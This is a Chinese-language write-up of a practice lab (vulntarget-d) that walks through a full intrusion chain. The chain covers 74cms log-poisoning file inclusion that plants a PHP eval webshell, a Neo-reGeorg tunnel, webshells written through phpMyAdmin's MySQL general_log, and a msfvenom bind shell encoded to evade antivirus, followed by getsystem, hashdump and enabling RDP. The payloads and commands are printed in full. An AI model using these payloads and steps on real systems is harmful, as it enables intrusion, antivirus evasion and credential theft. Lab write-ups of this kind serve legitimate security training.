vulntarget-d

vulntarget-d 靶场渗透实战记录

记一次完整的内网渗透实战演练

前言

最近在GitHub上发现了一个不错的综合靶场 vulntarget-d,据说涵盖了内网渗透的常见考点。周末花了点时间研究了一下,整个过程还挺有意思的,踩了不少坑,也学到了很多东西。这篇文章记录一下完整的渗透流程,希望对大家有所帮助。

最终成果:成功拿到flag c69afdfaaf2f7d820bb2c9ff4598d225 ✌️

环境信息

靶场是一个双层网络结构:

  • 外网:192.168.111.20 (Ubuntu + 74cms)
  • 内网:10.0.20.131 (Ubuntu)、10.0.20.136 (Windows 7)

我的目标是从外网一路打到内网Windows机器,最终拿到flag。

第一步:外网立足点

目标识别

访问 http://192.168.111.20:81/,发现是一个招聘网站系统。通过指纹识别,确定是 74cms V6.0.20 (骑士PHP高端人才系统),底层框架是 ThinkPHP 3.2.3

这个版本的74cms存在一个经典的文件包含漏洞,可以通过日志投毒的方式getshell。

74cms 文件包含漏洞利用

漏洞原理:

74cms在处理简历模板时,assign_resume_tpl 控制器存在任意文件包含漏洞。通过构造特殊的payload,可以包含ThinkPHP的日志文件,而日志文件中如果包含了我们注入的PHP代码,就能实现代码执行。

利用步骤:

第一步:日志投毒

访问漏洞端点并通过POST注入PHP代码到日志:

1
2
curl -s "http://192.168.111.20:81/index.php?m=home&a=assign_resume_tpl" \
-d 'variable=1&tpl=<?php fputs(fopen("tx.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['"'"'id'"'"']"/>'

这段payload的作用是:

  • 向ThinkPHP的日志文件中写入PHP代码
  • 代码功能是创建一个名为tx.php的webshell
  • Webshell密码参数为x

第二步:包含日志文件触发执行

确定当前日期对应的日志文件(格式:YY_MM_DD.log),然后包含执行:

1
2
curl -s "http://192.168.111.20:81/index.php?m=home&a=assign_resume_tpl" \
-d "variable=1&tpl=data/Runtime/Logs/Home/26_07_07.log"

第三步:验证webshell

1
curl -s "http://192.168.111.20:81/tx.php" -d "x=system('whoami');"

返回:www

成功拿到外网webshell!

踩坑记录:

  • 日志文件的日期格式要对应当前日期(YY_MM_DD)
  • payload中的特殊字符需要正确转义
  • 宝塔WAF可能会拦截,需要注意绕过

最终获得:

  • URL: http://192.168.111.20:81/tx.php
  • 密码参数: POST x
  • 权限: www用户

第二步:搭建内网代理

工具选择的小插曲

一开始我尝试用哥斯拉自带的内网代理功能,结果发现访问内网机器卡得不行。访问 http://10.0.20.136 几乎连不上,这让我很头疼。

后来换成了 Neo-reGeorg,效果立竿见影!访问速度从”几乎超时”变成了”不到1秒响应”。果然专业的工具还是靠谱。

Neo-reGeorg 部署步骤

Neo-reGeorg 是一个基于HTTP隧道的SOCKS代理工具,比传统的reGeorg性能更好。

1. 生成加密的tunnel脚本

1
2
cd Neo-reGeorg目录
python neoreg.py generate -k Pwnkit2024

这里的 -k 参数是自定义密钥,客户端和服务端必须一致。执行后会在 neoreg_servers/ 目录生成各种平台的tunnel脚本。

2. 上传tunnel.php到目标服务器

我们需要的是 tunnel.php,把它上传到外网webshell能访问的web目录。我用哥斯拉的文件管理功能,直接上传到 /www/wwwroot/upload/tunnel.php

上传后验证一下:

1
curl http://192.168.111.20:81/tunnel.php

返回200就说明文件可以正常访问了。

3. 启动本地SOCKS5代理

1
python neoreg.py -u http://192.168.111.20:81/tunnel.php -k Pwnkit2024 -p 1080

看到 INFO: Starting socks server (127.0.0.1:1080) 就说明代理启动成功了。这个终端要保持运行,别关。

4. 验证代理效果

1
curl -x socks5://127.0.0.1:1080 http://10.0.20.136

返回 HTTP 200,响应时间不到1秒!这速度比哥斯拉的代理快太多了。✅

第三步:攻击内网Windows机器

发现phpMyAdmin

通过代理访问内网Windows机器(10.0.20.136),发现80端口运行着phpStudy环境。直接访问 /phpmyadmin 路径,居然真的有!

试了试弱口令 root/root,直接登进去了。这年头还有这样的弱口令,真是让人哭笑不得。

MySQL日志写shell - 第一次尝试

看到phpMyAdmin,我第一反应就是用MySQL日志写shell。原理很简单:

  1. 开启MySQL的通用日志(general_log)
  2. 把日志文件路径设置成web目录下的PHP文件
  3. 执行一条包含PHP代码的SQL查询
  4. PHP代码会被记录到日志文件中
  5. 访问这个日志文件就能执行我们的代码

第一次尝试 - 踩坑了

我一开始是这么操作的:

1
2
3
4
SET GLOBAL general_log='ON';
SET GLOBAL general_log_file='C:/phpStudy/PHPTutorial/WWW/s.php';
SELECT '<?php @eval($_POST[x]);?>';
SET GLOBAL general_log='OFF';

一次性执行了多条SQL,感觉很完美对吧?结果访问 s.php 后,发现虽然文件存在,但执行命令时返回的全是MySQL日志内容,看不到命令执行结果。

我一度以为失败了,觉得日志写shell这个方法在这个环境下不可行。

转机 - 其实成功了

后来仔细测试了一下,发现其实shell是能用的!只是返回内容混杂了大量MySQL日志,我没有正确识别出命令执行结果。

测试命令:

1
2
3
curl -x socks5://127.0.0.1:1080 -X POST \
-d "x=system('echo test_s_php');" \
http://10.0.20.136/s.php

返回内容里确实有 test_s_php!原来PHP代码一直都在执行,只是被日志内容包围了。

第二次尝试 - 按官方思路来

参考官方WriteUp,我又按照标准流程做了一遍:

1
2
3
4
5
-- 1. 设置日志文件路径
SET GLOBAL general_log_file='C:/phpstudy/PHPTutorial/www/vulntarget.php';

-- 2. 写入一句话木马
SELECT '<?php eval($_POST["vuln"]); ?>';

生成了 vulntarget.php 这个文件(约912字节)。

测试命令执行

1
2
3
curl -x socks5://127.0.0.1:1080 -X POST \
-d "vuln=system('whoami');" \
http://10.0.20.136/vulntarget.php

成功返回:win-d4s86jo2r26\crow

用哥斯拉连接

命令行操作效率太低,直接上哥斯拉:

连接信息

  • URL: http://10.0.20.136/vulntarget.php
  • 密码: vuln
  • 代理: SOCKS5 127.0.0.1:1080

连接成功后,可以看到当前用户是 crow,并且已经是管理员权限了!

第四步:Windows提权与密码抓取

虽然通过phpMyAdmin已经拿到了crow用户的管理员权限webshell,但作为完整的渗透流程,我们还需要提权到SYSTEM并抓取密码。

检查安全软件

通过webshell执行命令检查杀软:

1
tasklist /svc

发现系统安装了火绒安全软件,这意味着普通的MSF木马会被查杀,需要做免杀处理。

生成免杀木马

使用msfvenom的编码器进行多次迭代免杀:

1
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 7 -b '\x00' LPORT=1234 -f raw -o crowsec.jpg

参数说明:

  • -e x86/shikata_ga_nai:使用shikata编码器
  • -i 7:迭代编码7次
  • -b '\x00':避免空字节
  • LPORT=1234:监听端口
  • -f raw:原始格式输出

配合加载器使用,上传到Windows系统并执行。

MSF连接与提权

启动MSF监听:

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 10.0.20.136
set LPORT 1234
run

执行木马后成功建立会话!

尝试提权:

1
meterpreter > getsystem

提权成功!✅ 当前已经是SYSTEM权限。

抓取明文密码 - 32位/64位问题

直接执行抓密码命令:

1
meterpreter > hashdump

结果失败了!原因是我们生成的木马是32位的,而很多系统进程是64位的。

解决方法:进程迁移

  1. 查看当前进程:

    1
    meterpreter > getpid
  2. 查看系统进程列表:

    1
    meterpreter > ps
  3. 迁移到64位的SYSTEM进程:

    1
    meterpreter > migrate 504

注意: 必须选择User为NT AUTHORITY\SYSTEM的64位进程!

  1. 重新抓取密码:
    1
    meterpreter > hashdump

成功获取明文密码:

  • 用户名:crow
  • 密码:admin

开启RDP远程桌面

为了方便后续操作,开启Windows的远程桌面:

1
meterpreter > run post/windows/manage/enable_rdp

配置好SOCKS代理后,就可以通过RDP远程连接Windows机器了。

第五步:寻找Flag

一个有趣的发现

拿到shell后,我本来打算先提权、抓密码、搞RDP,走一套标准的后渗透流程。

但突然意识到:我已经有管理员权限的webshell了,为什么不直接找flag?很多时候我们容易陷入”套路化”的思维,觉得必须要RDP登录才能拿flag,其实完全不必要。

Flag在哪里?

用哥斯拉的文件管理器浏览了几个常见位置:

  • C:\Users\crow\Desktop - 只有一个快捷方式
  • C:\Users\crow\Documents - 空的
  • C:\ - 没有明显的flag文件

用命令行搜索也不太好使,webshell返回的内容混杂了MySQL日志,很难解析。

关键线索

后来得知flag文件名叫 falg.txt(注意是 falg 不是 flag),这是典型的CTF技巧 - 故意拼错避免被轻易搜索到。

最快方法:直接用哥斯拉的文件搜索功能,搜索 falg.txt,很快就找到了文件位置。

打开查看,得到flag:

1
c69afdfaaf2f7d820bb2c9ff4598d225

任务完成!🎉

经验总结

1. 内网代理工具的选择

这次最大的收获是对比了不同代理工具的性能:

工具 性能 适用场景
哥斯拉自带代理 很卡,几乎超时 临时测试
Neo-reGeorg 响应<1秒,稳定 正式渗透推荐 ✅

教训:遇到代理慢的问题,不要死磕,及时换工具才是正道。

2. MySQL日志写shell的坑

重要发现:即使返回内容混杂了大量MySQL日志,PHP代码也能正常执行!

我一开始以为失败了,其实只是没有正确识别命令执行结果。关键是要仔细观察返回内容,不要被日志迷惑。

两个可用的shell

  • s.php (密码: x) - 第一次尝试生成的,其实能用
  • vulntarget.php (密码: vuln) - 第二次按官方流程生成的

3. 思维定式要不得

拿到管理员权限的webshell后,我本能地想着要”提权→抓密码→RDP登录”。但其实仔细想想:

  • 我已经有管理员权限了
  • Webshell可以直接读取文件
  • 何必非要RDP?

反思:不要被套路束缚,根据实际情况选择最高效的方法。有时候最简单的方法就是最好的方法。

4. 文件搜索的技巧

通过webshell命令行搜索文件效率很低,尤其是返回内容混杂的情况下。

最佳实践:直接用webshell管理工具(如哥斯拉)的文件管理和搜索功能,可视化操作比命令行快得多。

技术要点回顾

Neo-reGeorg 使用要点

1
2
3
4
5
6
7
8
9
10
# 1. 生成加密tunnel
python neoreg.py generate -k <密钥>

# 2. 上传 neoreg_servers/tunnel.php 到web目录

# 3. 启动本地SOCKS5代理
python neoreg.py -u http://目标/tunnel.php -k <密钥> -p 1080

# 4. 配置工具使用代理
socks5://127.0.0.1:1080

MySQL日志写shell要点

1
2
3
4
5
6
7
8
-- 设置日志路径(注意路径格式)
SET GLOBAL general_log_file='C:/phpstudy/PHPTutorial/www/shell.php';

-- 开启日志(如果未开启)
SET GLOBAL general_log='ON';

-- 写入一句话木马
SELECT '<?php eval($_POST["pass"]); ?>';

注意事项

  • 生成的日志文件会包含MySQL日志头部
  • PHP代码能正常执行,不要被混杂的日志内容迷惑
  • 文件大小通常在几百字节到1KB之间

工具清单

工具 用途 下载地址
Neo-reGeorg 内网SOCKS5代理 https://github.com/L-codes/Neo-reGeorg
哥斯拉 Webshell管理工具 自行搜索
curl 命令行HTTP测试 系统自带

结语

这次vulntarget-d靶场的实战演练让我收获很多:

  1. 工具选择的重要性 - 合适的工具能大幅提升效率,不要在性能差的工具上浪费时间

  2. 不要被表象迷惑 - MySQL日志写shell虽然返回内容混杂,但其实一直都在正常工作

  3. 灵活变通 - 有了管理员webshell就能直接读flag,不必执着于”标准流程”

  4. 细节决定成败 - 文件名 falg.txt 而不是 flag.txt,这种小细节很容易被忽略

总的来说,这是一个很好的内网渗透练习靶场,涵盖了代理搭建、弱口限利用、日志写shell等常见技术点。推荐给想练习内网渗透的朋友们!


最终Flag: c69afdfaaf2f7d820bb2c9ff4598d225

完成时间: 2026-07-06

Happy Hacking! 🎯


vulntarget-d
http://82.156.189.140:8085/2026/07/07/vulntarget-d/
作者
fortuneh2c
发布于
2026年7月7日
许可协议